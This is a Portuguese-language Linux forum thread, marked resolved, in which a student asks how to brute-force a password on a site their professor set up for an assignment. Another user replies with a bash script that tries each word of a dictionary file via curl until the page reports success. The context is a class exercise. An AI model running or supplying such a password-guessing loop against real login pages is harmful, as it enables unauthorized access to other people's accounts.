Como Fazer um ataque de força bruta [RESOLVIDO]

HotaruNi
(usa Ubuntu)

Enviado em 17/10/2016 - 21:03h

Tenho um trabalho para fazer sobre ataque de força bruta usando o linux, mais precisamente o ubuntu. Preciso descobrir a senha de um site criado pelo meu professor usando shell script. Nesse trabalho foi dado o usuário, portanto so preciso descobrir a senha. Foi disponibilizado, também, um dicionário contendo muitas palavras.

Meu problema é: Não faço a minima ideia de como fazer, nem de como começar. Se puderem, por favor, me ajudem. Obrigado

HotaruNi
(usa Ubuntu)

Enviado em 17/10/2016 - 21:20h

O ataque é à uma pagina que tem um formulário que passa os parametros pelo metodo GET. A pagina foi feita em php então creio que seja por http mesmo. E sim, as palavras são uma por linha.

msoliver
(usa Debian)

Enviado em 17/10/2016 - 22:17h

OK,
Tinha "entendido ERRADO"
Para pegar a senha do dicionário (uma a uma, obvio) é tranquilo . . .
Estou em duvida, qto a "passar a senha".
Acredito que o "curl", resolva ....

Se tiver mais detalhes . . .
Ou alguma ideia ...

att
marcelo oliver

============================================
EDITADO.
Sim, o curl resolve.

Surgiu uma duvida...
QUAL A RESPOSTA DA PáGINA para a SENHA CERTA(SUCESSO) e PARA a SENHA ERRADA (FALHA) . . .
É necessário colocar um TESTE para interromper o SCRIPT.
============================================

HotaruNi
(usa Ubuntu)

Enviado em 18/10/2016 - 00:33h

Quando da senha incorreta é redirecionado pra uma página com a mensagem de senha incorreta é um link pra voltar pro formulário.
Quando a senha está correta também é redirecionado pra uma página, mas essa mostra uma mensagem de senha correta e um link pra encerrar a sessão do login.

HotaruNi
(usa Ubuntu)

Enviado em 18/10/2016 - 00:35h

Quando da senha incorreta é redirecionado pra uma página com a mensagem de senha incorreta é um link pra voltar pro formulário.
Quando a senha está correta também é redirecionado pra uma página, mas essa mostra uma mensagem de senha correta e um link pra encerrar a sessão do login.

msoliver
(usa Debian)

Enviado em 18/10/2016 - 12:22h

=====================================================
Hotaru, boa tarde.
Segue o script . . .

#!/bin/bash

LOGIN=""

URL=""

while read -r SENHA;do

let COUNT++

curl -s -u $LOGIN:$SENHA $URL > ARQUIVO.txt

if egrep -w 'correta' ARQUIVO.txt;then

echo -e "SENHA:$SENHA LOCALIZADA NA TENTATIVA Nº $COUNT\n"

break

else

continue

fi

done<dicionario.txt

 

É RECOMENDADO testar antes . . .

att.:
marcelo oliver

HotaruNi
(usa Ubuntu)

Enviado em 18/10/2016 - 12:26h

Muito Obrigado.

msoliver
(usa Debian)

Enviado em 18/10/2016 - 13:53h

Ficaria muito agradecido, se marcasse como A MELHOR RESPOSTA . . . :)

Marcelo Oliver